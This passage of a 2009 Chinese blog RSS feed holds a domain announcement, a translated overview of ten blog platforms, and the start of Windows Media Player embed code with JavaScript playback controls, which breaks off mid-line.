<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[目不转睛]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[看着你，追求你-----未来，希望]]></description>
<link>http://hi.baidu.com/lookxd</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[我的域名www.zhuim.com-网站名称-追逐梦想]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/be003ecff3afa235f8dc61ca.html]]></link>
        <description><![CDATA[
		
		<p>我的域名<a href="http://www.zhuim.com/">www.zhuim.com</a>-网站名称-追逐梦想</p>
<p>目前用来做团队博客用</p>
<p>主要记录在网络中学习资料心得和本空间的性质一样</p>
<p>我自己的站自己会给大家提供更好的服务！（<font color="#ff0000">百度空间不能提供下载很多东西朋友们不能下载</font>）</p>
<p>希望大家常来！看看<a href="http://www.zhuim.com/">www.zhuim.com</a> 追逐梦想 资源共享-网络足迹</p>
<p><font color="#ff0000">追逐梦想！zhuim.com 资源共享,记录我们网络学习成长足迹,帮助遇到同样问题的朋友解决重复的疑问</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B8%F6%C8%CB%A1%F4%B1%CA%BC%C7%A1%FE">〓个人◆笔记〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/be003ecff3afa235f8dc61ca.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月25日 星期三  下午 08:09</pubDate>
        <category><![CDATA[〓个人◆笔记〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/be003ecff3afa235f8dc61ca.html</guid>
</item>

<item>
        <title><![CDATA[国外常用的10款博客系统概揽]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/41ee9b39dc0e0cfb3a87ce30.html]]></link>
        <description><![CDATA[
		
		<p>编译：<a href="http://4ebstudio.cn/" target="_blank"><font color="#68323a">4EB Studio</font></a> 原文出处：<a href="http://smashingmagazine.com/" target="_blank"><font color="#68323a">SMASHING MAGAZINE</font></a></p>
<p>选择一款博客系统软件是一件非常艰难的事情，特别是对一个新手来说。在当今的网络世界中，有太多的博客系统软件和CMS(内容管理系统)可供选择，因此如何从中挑选一款适合你自己类型的博客系统不是一件容易的事情。</p>
<p>在选择博客管理系统软件的时候有很多方面需要考虑，比如：</p>
<p>&#9642; 程序语言</p>
<p>虽然许多博客平台使用PHP或Rails语言，但是你还是可以找到你想要的程序语言。</p>
<p>&#9642; 你需要哪些功能</p>
<p>你所选择的博客系统软件完全取决于你需要使用的博客类型。一些博客系统专门针对新手，而一些是专门针对开发和设计人员的。因此你需要选择适合你自己的。</p>
<p>&#9642; 博客系统软件的社区大小</p>
<p>如果一个博客系统软件对于单独的一个博客体系来看足够大，但是相对于另外的博客系统社区相对小很多，而且活跃度相对较低的话，那么就应该选择更具社区活跃度的软件。开发社区中更多的活跃度和使用者意味着该软件代码的改善度也更快。</p>
<p>&#9642; 博客系统软件的新旧程度</p>
<p>博客系统软件的新旧程度意味着该博客平台的成熟度。全新开发的博客系统稳定性会较差，而且存在更多的bug。</p>
<p>&#9642; 你是否计划未来拓展你的博客</p>
<p>如果你考虑未来在你的博客上增加像论坛、网店或其它功能的模块，那么你就应该在最开始就选择具备这些功能的博客系统软件。</p>
<p>你所选择的博客系统软件对你的博客具有相当大的影响。你必须在最开始就选对才能够避免日后更换系统时带来的不必要的麻烦。下面介绍10款非常流行的博客系统软件，并列举各自的优势和劣势。</p>
<a href="http://www.chanet.com.cn/click.cgi?a=131659&amp;d=9431&amp;u=&amp;e=" target="_blank"><img height="68" src="http://file.chanet.com.cn/image.cgi?a=131659&amp;d=9431&amp;u=&amp;e=" width="646" border="0"></a>
<p><strong><span style="font-size: 14px">1. Wordpress</span></strong></p>
<p><a href="http://www.wordpress.org/" target="_blank"><font color="#68323a">Wordpress</font></a>是目前最为流行的博客平台。它具有非常直观的网页结构的安装模式，适合各个阶段的使用人群。</p>
<p>Wordpress社区可以说是博客系统软件最主要的财富来源。它有一个非常庞大的、极具影响力的、针对开发者和使用者的社区，用户可以在这里找到任何主题和插件。而且，你可以任意扩展软件，许多网站和服务商都使用基于Wordpres的代码进行软件开发。Wordpress还集成了<a href="http://wwww.akismet.com/" target="_blank"><font color="#68323a">Akismet</font></a>，一个最有效的博客软件防垃圾系统。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623159/"><img height="328" alt="wordpress" src="http://farm4.static.flickr.com/3025/2809623159_dc8f015b91.jpg" width="503"></a></p>
<p>Wordpress对于一个新手来说，无论是安装还是下载更新都是十分容易，只需一键即可自动完成。学习使用Wordpress只需要很少的时间，如果新手遇到问题的话可以通过拓展文件进行查找解决。对于一个第一次涉足博客网站的新手来说，Wordpress已经相当完美了，而对于一个高级开发者来说，Wordpress可以提供具有延伸性的稳定的代码，让你的博客更加与众不同。</p>
<p>如果你想创建一个多博客系统，你可以查看Wordpress MU。Wordpress MU和独立博客系统Wordpress的代码标准是一样的，而且增加了一些其他的功能。</p>
<p><span style="color: rgb(204,51,51)"><em><strong>基于Wordpress的网站欣赏</strong></em></span></p>
<p><a href="http://www.webdesignerwall.com/" target="_blank"><font color="#68323a">Web Designer Wall</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623395/"><font color="#68323a"><img height="513" alt="wall" src="http://farm4.static.flickr.com/3089/2809623395_7805fb95ee.jpg" width="592"></font></a></p>
<p><a href="http://ilovetypography.com/" target="_blank"><font color="#68323a">I Love Typography</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623453/"><font color="#68323a"><img height="464" alt="typo" src="http://farm4.static.flickr.com/3099/2809623453_d5ca5757be.jpg" width="500"></font></a></p>
<p><a href="http://www.binarymoon.co.uk/" target="_blank"><font color="#68323a">Binary Moon</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471438/"><font color="#68323a"><img height="362" alt="binary" src="http://farm4.static.flickr.com/3171/2810471438_7e9581b1ac.jpg" width="500"></font></a></p>
<p><a href="http://superfluousbanter.org/" target="_blank"><font color="#68323a">Superflous Banter</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623545/"><font color="#68323a"><img height="329" alt="superflousbanter" src="http://farm4.static.flickr.com/3221/2809623545_7e86e42866.jpg" width="500"></font></a></p>
<p><span style="font-size: 14px"><strong>2. Movable Type</strong></span></p>
<p>和Wordpress作为最被广泛采用的博客平台不同，Movable Type更多的为高流量的博客网站提供更丰富的安装程序。这些高端安装程序包括（当然不仅限于）<a href="http://www.huffingtonpost.com/" target="_blank"><font color="#68323a">Huffington Post</font></a>（网络上最流行的博客系统），<a href="http://www.gawker.com/" target="_blank"><font color="#68323a">Gawker blogs</font></a> (如Lifehacker, Gizmodo等), <a href="http://www.boingboing.net/" target="_blank"><font color="#68323a">BoingBoing</font></a>以及<a href="http://www.dooce.com/" target="_blank"><font color="#68323a">dooce</font></a>。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470228/"><img height="200" alt="movabletype" src="http://farm4.static.flickr.com/3114/2810470228_b57c928f50.jpg" width="360"></a></p>
<p>这些高流量的网站之所以使用Movable Type最主要的原因是它内建了多博客平台，而且只需一步安装即可实现。你可以快速创建你希望数量的博客，以及创建一个博客网络，例如Huffington Post和Gawker。</p>
<p>虽然Moveable Type就用户友好度来说落后于Wordpress，但是Moveable Type在交互界面和安装上做了很大的改善，而且近期迈出了最具成就的一步就是转变了一个开源的平台，这对于社区来说意义非凡。</p>
<p>Movable Type对于创建多博客系统或网络来说是个最佳选择，而且它可以帮助创造巨大的网络流量。</p>
<p><span style="color: rgb(204,51,51)"><strong><em>基于Movable Type的网站欣赏</em></strong></span></p>
<p><a href="http://www.bearskinrug.co.uk/" target="_blank"><font color="#68323a">Kevin Kornell</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471532/"><font color="#68323a"><img height="351" alt="bearskinrug2" src="http://farm4.static.flickr.com/3264/2810471532_126bd8eb33.jpg" width="500"></font></a></p>
<p><a href="http://www.cameronmoll.com/" target="_blank"><font color="#68323a">Cameron Moll</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471618/"><font color="#68323a"><img height="419" alt="cameron" src="http://farm4.static.flickr.com/3100/2810471618_fbca4616c2.jpg" width="500"></font></a></p>
<p><a href="http://www.mezzoblue.com/" target="_blank"><font color="#68323a">Dave Shea</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624979/"><font color="#68323a"><img height="325" alt="mezzoblue" src="http://farm4.static.flickr.com/3030/2809624979_74a84d6ce2.jpg" width="500"></font></a></p>
<p><a href="http://www.simplebits.com/" target="_blank"><font color="#68323a">Dan Cederholm</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471756/"><font color="#68323a"><img height="373" alt="simplebits" src="http://farm4.static.flickr.com/3156/2810471756_e7b7ed5158.jpg" width="500"></font></a></p>
<p><span style="font-size: 14px"><strong>3. ExpressionEngine</strong></span></p>
<p><a href="http://www.expressionengine.com/" target="_blank"><font color="#68323a">ExpressionEngine</font></a> 是一款非常具有活力的博客平台，不过它不是免费的。ExpressionEngine最有特色的地方是它可以同时发布多个网站，无论是使用同一域名下的不同次级域名，还是直接使用多个域名。</p>
<p>你可以使用相同的代码基准进行不同域名的多网站开发。该款软件具有一个十分简洁的后台，让博客们可以轻易上手。开发者和设计人员喜欢ExpressionEngine是因为它的操作十分简单。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809848289/"><img height="388" alt="ee" src="http://farm4.static.flickr.com/3193/2809848289_b77e237411.jpg" width="500"></a></p>
<p>ExpressionEngine是一款面向创建多博客网站使用者的工具，但是任何人都可以轻松的上手使用该软件，这都要归功于它深思熟虑而且近乎完美的设计。受价$99.95，如果你只想创建一个个人博客网站的话可以<a href="https://secure.expressionengine.com/download.php" target="_blank"><font color="#68323a">下载</font></a>它的核心版本EE。</p>
<p><span style="color: rgb(204,51,51)"><strong><em>基于Expression Engine的博客欣赏</em></strong></span></p>
<p><a href="http://31three.com/weblog" target="_blank"><font color="#68323a">Jesse Bennett-Chamberlain</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471278/"><font color="#68323a"><img height="334" alt="31three" src="http://farm4.static.flickr.com/3100/2810471278_453bbe51db.jpg" width="500"></font></a></p>
<p><a href="http://veerle.duoh.com/" target="_blank"><font color="#68323a">Veerle Pieters</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624655/"><font color="#68323a"><img height="322" alt="veerle" src="http://farm4.static.flickr.com/3268/2809624655_a0cc92a71c.jpg" width="500"></font></a></p>
<p><span style="font-size: 14px"><strong>4. Drupal</strong></span></p>
<p><a href="http://www.drupal.org/" target="_blank"><font color="#68323a">Drupa</font></a>l并不是一个典型的博客系统软件。虽然它拥有一个庞大的社区而且很多博客都使用它作为博客系统软件，但是不仅仅是个博客软件。Drupal实际上是一个社区平台系统软件。</p>
<p>作为一个博客社区的系统软件，Drupal确实光芒四射。<a href="http://www.performancing.com/" target="_blank"><font color="#68323a">Performancing</font></a>就是一个例子。无论你想创建一个独立博客网站还是多博客网站，Drupal都是一个不错的选择。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470302/"><img height="263" alt="drupal" src="http://farm4.static.flickr.com/3106/2810470302_d673cbf828.jpg" width="518"></a></p>
<p>Drupal的另外一个亮点就是它的多功能模块性。它不仅具有充满活力的用户系统，而且还拥有很多社区友好功能，比如论坛、书籍（在&quot;book&quot;结构下中创建文件）以及可以随时追踪其它使用者的内容更新的tracker。</p>
<p>Drupal还拥有一个庞大的开发者和模块社区。利用这些模块可以创建任何形式的网站或者添加几乎任何功能。许多主流的大型网站都使用Drupal来发布他们的多博客以及用户社区。例如<a href="http://www.performancing.com/" target="_blank"><font color="#68323a">Performancing</font></a>, <a href="http://www.spreadfirefox.com/" target="_blank"><font color="#68323a">Spread Firefox</font></a>, <a href="http://www.theonion.com/" target="_blank"><font color="#68323a">The Onion</font></a>, 以及<a href="http://www.ubuntu.com/" target="_blank"><font color="#68323a">Ubuntu</font></a>等。</p>
<p>Drupal对于想要添加论坛或者其它扩展功能的博客创建者来说是一个非常棒的选择。</p>
<p><span style="color: rgb(204,51,51)"><strong><em>基于Drupal的博客欣赏</em></strong></span></p>
<p><a href="http://www.43folders.com/" target="_blank"><font color="#68323a">43 Folders</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470352/"><font color="#68323a"><img height="391" alt="43folders.com" src="http://farm4.static.flickr.com/3048/2810470352_8d4d19ac4e.jpg" width="500"></font></a></p>
<p><a href="http://www.abduzeedo.com/" target="_blank"><font color="#68323a">Abduzeedo</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470412/"><font color="#68323a"><img height="394" alt="abduzeedo" src="http://farm4.static.flickr.com/3177/2810470412_068d7e4206.jpg" width="500"></font></a></p>
<p><span style="font-size: 14px"><strong>5. Textpattern</strong></span></p>
<p><a href="http://www.textpattern.com/" target="_blank"><font color="#68323a">Textpattern</font></a> 是一款十分简单的博客平台。它甚至没有集成WYSIWYG编辑器，取而代之的是<a href="http://en.wikipedia.org/wiki/Textile_%28markup_" target="_blank"><font color="#68323a">Textile</font></a>，一个简单的标记语言工具来格式化文本。</p>
<p>Textpattern相对于ExpressionEngine来说是一款非常简单的软件，不像ExpressionEngine那样提供很多的扩展特性。但是Textpattern是一款非常稳定和成熟的软件，它不是初级使用者的最好选择，毕竟它需要使用者懂得Textile语言，或者可以使用html编写文章。如果你需要一个WYSIWYG编辑器，就必须安装额外的插件。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623803/"><img height="255" alt="textpattern" src="http://farm4.static.flickr.com/3117/2809623803_3a57b79430.jpg" width="510"></a></p>
<p>Textpatter有很多的主题模版和扩展工具，虽然开发者社区不像Wordpress那样庞大，但是社区忠诚度非常高。</p>
<p>Textpattern对于喜欢简单而且并不介意使用Textile的高级开发博客创建者来说是一个不错的选择。</p>
<p><span style="color: rgb(204,51,51)"><strong><em>基于Textpattern的博客欣赏</em></strong></span></p>
<p><a href="http://www.hicksdesign.co.uk/" target="_blank"><font color="#68323a">Hicksdesign</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470586/"><font color="#68323a"><img height="320" alt="hicksdesign.co.uk" src="http://farm4.static.flickr.com/3208/2810470586_76bc2a790a.jpg" width="500"></font></a></p>
<p><a href="http://www.uxmag.com/" target="_blank"><font color="#68323a">UX Magazine</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809623987/"><font color="#68323a"><img height="491" alt="uxmag.com" src="http://farm4.static.flickr.com/3069/2809623987_5529815972.jpg" width="500"></font></a></p>
<p><a href="http://www.nzrn.com/" target="_blank"><font color="#68323a">NZRN</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810470806/"><font color="#68323a"><img height="320" alt="nzrn.com" src="http://farm4.static.flickr.com/3261/2810470806_ae3aff455d.jpg" width="500"></font></a></p>
<p><a href="http://www.erraticwisdom.com/" target="_blank"><font color="#68323a">Erratic Wisdom</font></a></p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624213/"><font color="#68323a"><img height="393" alt="erratic" src="http://farm4.static.flickr.com/3062/2809624213_4b697209eb.jpg" width="500"></font></a></p>
<p><span style="font-size: 14px"><strong>6. Joomla</strong></span></p>
<p><a href="http://www.joomla.org/" target="_blank"><font color="#68323a">Joomla</font></a>是一个CMS，和Drupal有些类似。相对Drupal面向于社区平台和博客来说，Joomla更倾向于电子商务平台。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471010/"><img height="250" alt="joomla" src="http://farm4.static.flickr.com/3215/2810471010_3d946be1cc.jpg" width="503"></a></p>
<p>不管它们有多大区别，Joomla在易用性上和Drupal非常相像。而且Joomla拥有一个非常有名开发社区，提供许多<a href="http://extensions.joomla.org/" target="_blank"><font color="#68323a">扩展功能</font></a>。</p>
<p>Joomla对于想要创建一个博客社区网站，并且加入电子商务功能的人来说是个不错的选择。</p>
<p><span style="font-size: 14px"><strong>7. b2evolution</strong></span></p>
<p><a href="http://b2evolution.net/" target="_blank"><font color="#68323a">b2evolution</font></a>是又一款既可以创建独立博客网站，也可以创建大型博客网络的系统软件。不过，b2evolution的开发社区比较薄弱，仅提供200来个插件（Joomla社区大概能有3400多个插件）。</p>
<p>虽然b2developer的开发社区并不庞大，但是它具有一个大有可为的代码基准以及很多人仍然在使用b2developer来壮大他们的博客和博客社区。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624323/"><img height="272" alt="evolution" src="http://farm4.static.flickr.com/3074/2809624323_980494836f.jpg" width="539"></a></p>
<p>该博客软件的后台对于初级使用者来说极易上手。而且内建统计功能，这是大多数博客系统软件所不具备的。而且该软件还具有一个小型WYSIWYG编辑器，对于初级博客使用者来说非常不错。</p>
<p><span style="font-size: 14px"><strong>8. Nucleus CMS</strong></span></p>
<p><a href="http://www.nucleuscms.org/" target="_blank"><font color="#68323a">Nucleus</font></a> 也是一款可以创建独立博客和多博客的软件。就功能和开发社区来说，它和b2evolution有些相像，具有一系列非常棒的扩展和有用的插件及主题，使用者可以根据需要个性化安装。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2810471100/"><img height="237" alt="nucleus" src="http://farm4.static.flickr.com/3022/2810471100_2025ab6421.jpg" width="498"></a></p>
<p>Nucleus比b2evolution的界面更为优雅和舒服，并且后台也简单易用。而且，Nucleus更新非常快。你可以在下载安装该软件之前在其<a href="http://demo.nucleuscms.org/" target="_blank"><font color="#68323a">测试网站</font></a>上试用该软件。</p>
<p>Nucleus对于需要一款简单易用的博客系统来创建独立或多个博客的使用者来说是个非常好的选择。</p>
<p><span style="font-size: 14px"><strong>9. Serendipity</strong></span></p>
<p><a href="http://www.s9y.org/" target="_blank"><font color="#68323a">Serendipity</font></a> 是一款对于初级使用者来说非常友好的博客平台。它可以自动更新插件。而且其内建的评论模块是其它许多博客系统在没有安装插件的情况下所不具备的。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624457/"><img height="258" alt="serendipity" src="http://farm4.static.flickr.com/3145/2809624457_f66a52682b.jpg" width="518"></a></p>
<p>Serendipity使用了高性能的智能模版系统，并且使用了快速而简洁的PHP代码。如果你是一个博客新手，Serendipity提供了一个安装向导帮助完成软件安装。和b2evolution及Nucleus不同，Serendipity不提供多博客安装，不过你可以进行独立博客的多用户安装。</p>
<p><span style="font-size: 14px"><strong>10. Mephisto</strong></span></p>
<p>到目前为止，我们所提到的博客系统软件都是基于PHP语言的。而<a href="http://mephistoblog.com/" target="_blank"><font color="#68323a">Mephisto</font></a>博客系统是基于Rails语言的。Mephisto提供一个非常简单界面的后台，并且极具直观性。你可以通过内建的模版编辑器控制它的每一部分的外观。</p>
<p><a href="http://www.flickr.com/photos/22857808@N03/2809624493/"><img height="264" alt="mephisto" src="http://farm4.static.flickr.com/3188/2809624493_a7845cdc63.jpg" width="525"></a></p>
<p>Mephisto还没有提供更过的模版和插件来个性化博客外观。Mephisto更多的是一款博客框架软件。</p>
<p>对于有能力创建自己的主题和插件的网页设计人员和开发人员来说，Mephisto更多的是一个博客平台。而对于初级使用者来说，还是推荐使用Wordpress或者 Movable Type。这两款流行的博客平台可以通过插件和不同的主题更轻松的个性化博客。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/41ee9b39dc0e0cfb3a87ce30.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月22日 星期日  下午 04:05</pubDate>
        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/41ee9b39dc0e0cfb3a87ce30.html</guid>
</item>

<item>
        <title><![CDATA[网页播放器 Windows Media Player 代码]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/a67ee34bd4f65ef883025c4e.html]]></link>
        <description><![CDATA[
		
		<div class="UBBContent">&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt; &lt;tr&gt; &lt;td&gt; &lt;b&gt;在线音乐点播&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;br&gt; &lt;table align=center style=&quot;font:9pt&quot;&gt; &lt;tr&gt; &lt;td&gt; &lt;object classid=&quot;clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95&quot; id=&quot;MediaPlayer1&quot; width=&quot;286&quot; height=&quot;225&quot;&gt; &lt;param name=&quot;AudioStream&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;AutoSize&quot; value=&quot;-1&quot;&gt; &lt;!--是否自动调整播放大小--&gt; &lt;param name=&quot;AutoStart&quot; value=&quot;-1&quot;&gt; &lt;!--是否自动播放--&gt; &lt;param name=&quot;AnimationAtStart&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;AllowScan&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;AllowChangeDisplaySize&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;AutoRewind&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;Balance&quot; value=&quot;0&quot;&gt; &lt;!--左右声道平衡,最左-9640,最右9640--&gt; &lt;param name=&quot;BaseURL&quot; value&gt; &lt;param name=&quot;BufferingTime&quot; value=&quot;15&quot;&gt; &lt;!--缓冲时间--&gt; &lt;param name=&quot;CaptioningID&quot; value&gt; &lt;param name=&quot;ClickToPlay&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;CursorType&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;CurrentPosition&quot; value=&quot;0&quot;&gt; &lt;!--当前播放进度 -1 表示不变,0表示开头 单位是秒,比如10表示从第10秒处开始播放,值必须是-1.0或大于等于0--&gt; &lt;param name=&quot;CurrentMarker&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;DefaultFrame&quot; value&gt; &lt;param name=&quot;DisplayBackColor&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;DisplayForeColor&quot; value=&quot;16777215&quot;&gt; &lt;param name=&quot;DisplayMode&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;DisplaySize&quot; value=&quot;0&quot;&gt; &lt;!--视频1-50%, 0-100%, 2-200%,3-全屏 其它的值作0处理,小数则采用四舍五入然后按前的处理--&gt; &lt;param name=&quot;Enabled&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;EnableContextMenu&quot; value=&quot;-1&quot;&gt; &lt;!-是否用右键弹出菜单控制--&gt; &lt;param name=&quot;EnablePositionControls&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;EnableFullScreenControls&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;EnableTracker&quot; value=&quot;-1&quot;&gt; &lt;!--是否允许拉动播放进度条到任意地方播放--&gt; &lt;param name=&quot;Filename&quot; value=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; valuetype=&quot;ref&quot;&gt; &lt;param name=&quot;InvokeURLs&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;Language&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;Mute&quot; value=&quot;0&quot;&gt; &lt;!--是否静音--&gt; &lt;param name=&quot;PlayCount&quot; value=&quot;10&quot;&gt; &lt;!--重复播放次数,0为始终重复--&gt; &lt;param name=&quot;PreviewMode&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;Rate&quot; value=&quot;1&quot;&gt; &lt;!--播放速度1.0-2.0倍的速度播放--&gt; &lt;param name=&quot;SAMILang&quot; value&gt; &lt;param name=&quot;SAMIStyle&quot; value&gt; &lt;param name=&quot;SAMIFileName&quot; value&gt; &lt;!--选择同时播放(伴音)的歌曲--&gt; &lt;param name=&quot;SelectionStart&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;SelectionEnd&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;SendOpenStateChangeEvents&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;SendWarningEvents&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;SendErrorEvents&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;SendKeyboardEvents&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;SendMouseClickEvents&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;SendMouseMoveEvents&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;SendPlayStateChangeEvents&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;ShowCaptioning&quot; value=&quot;0&quot;&gt; &lt;!--是否显示字幕,为一块黑色,下面会有一大块黑色,一般不显示--&gt; &lt;param name=&quot;ShowControls&quot; value=&quot;-1&quot;&gt; &lt;!--是否显示控制,比如播放,停止,暂停--&gt; &lt;param name=&quot;ShowAudioControls&quot; value=&quot;-1&quot;&gt; &lt;!--是否显示音量控制--&gt; &lt;param name=&quot;ShowDisplay&quot; value=&quot;0&quot;&gt; &lt;!--显示节目信息,比如版权等--&gt; &lt;param name=&quot;ShowGotoBar&quot; value=&quot;0&quot;&gt; &lt;!--一条框,在下面,有往下箭头--&gt; &lt;param name=&quot;ShowPositionControls&quot; value=&quot;-1&quot;&gt; &lt;!--是否显示往前往后及列表,如果显示一般也都是灰色不可控制--&gt; &lt;param name=&quot;ShowStatusBar&quot; value=&quot;-1&quot;&gt; &lt;!--当前播放信息,显示是否正在播放,及总播放时间和当前播放到的时间--&gt; &lt;param name=&quot;ShowTracker&quot; value=&quot;-1&quot;&gt; &lt;!--是否显示当前播放跟踪条,即当前的播放进度条--&gt; &lt;param name=&quot;TransparentAtStart&quot; value=&quot;-1&quot;&gt; &lt;param name=&quot;VideoBorderWidth&quot; value=&quot;0&quot;&gt; &lt;!--显示部的宽部,如果小于视频宽,则最小为视频宽,或者加大到指定值,并自动加大高度.此改变只改变四周的黑框大小,不改变视频大小--&gt; &lt;param name=&quot;VideoBorderColor&quot; value=&quot;0&quot;&gt; &lt;!--显示黑色框的颜色, 为RGB值,比如ffff00为黄色--&gt; &lt;param name=&quot;VideoBorder3D&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;Volume&quot; value=&quot;0&quot;&gt; &lt;!--音量大小,负值表示是当前音量的减值,值自动会取绝对值,最大为0,最小为-9640,最大0--&gt; &lt;param name=&quot;WindowlessVideo&quot; value=&quot;0&quot;&gt; &lt;!--如果是0可以允许全屏,否则只能在窗口中查看--&gt; &lt;/object&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.filename);&quot;&gt;查看当前任务&lt;/span&gt;&lt;br&gt; &lt;b&gt;MP3点播&lt;/b&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.filename='&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;';&quot;&gt;周杰伦-夜曲&lt;/span&gt; &lt;br&gt; &lt;b&gt;播放速度调整&lt;/b&gt; &lt;script&gt; var mediaRate=document.MediaPlayer1.Rate; var mediaVolume=document.MediaPlayer1.Volume; var mediaCurrentPosition=document.MediaPlayer1.CurrentPosition; function setRate(num) { mediaRate=num; document.MediaPlayer1.Rate=num; } function addCurrentPosition(num) { mediaCurrentPosition=document.MediaPlayer1.CurrentPosition; mediaCurrentPosition+=num; if(mediaCurrentPosition&lt;0)mediaCurrentPosition=0; document.MediaPlayer1.CurrentPosition=mediaCurrentPosition; } function addVolume(num) { mediaVolume=document.MediaPlayer1.Volume; if(num&gt;0 &amp;&amp; mediaVolume&lt;-1) { mediaVolume+=num; if(mediaVolume&gt;-1)mediaVolume=-1; document.MediaPlayer1.Volume=mediaVolume; } else { if(num&lt;0 &amp;&amp; mediaVolume&gt;-9999) { mediaVolume +=num; if(mediaVolume &lt;-9999)mediaVolume=-9999; document.MediaPlayer1.Volume=mediaVolume; } } } function addRate(num) { mediaRate=document.MediaPlayer1.Rate; if(num&gt;0 &amp;&amp; mediaRate&lt;12.0) { mediaRate+=num; //if(mediaRate &gt;2.0)mediaRate=2.0; document.MediaPlayer1.Rate=mediaRate; } else { if(num&lt;0 &amp;&amp; mediaRate&gt;0.1) { mediaRate +=num; if(mediaRate &lt;0.1)mediaRate=0.1; document.MediaPlayer1.Rate=mediaRate; } } } function exchangeValue(obj) { if(obj==&quot;0&quot;) { obj=&quot;-1&quot;; } else { obj=&quot;0&quot;; } return obj; } &lt;/script&gt; &lt;!--速度正常1.0 速度慢0.0&lt;value&lt;1.0 速度快1.0&lt;value&lt;2.0 --&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;setRate(1.2);&quot;&gt;较快&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addRate(0.1);&quot;&gt;加速&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addRate(-0.1);&quot;&gt;减速&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; 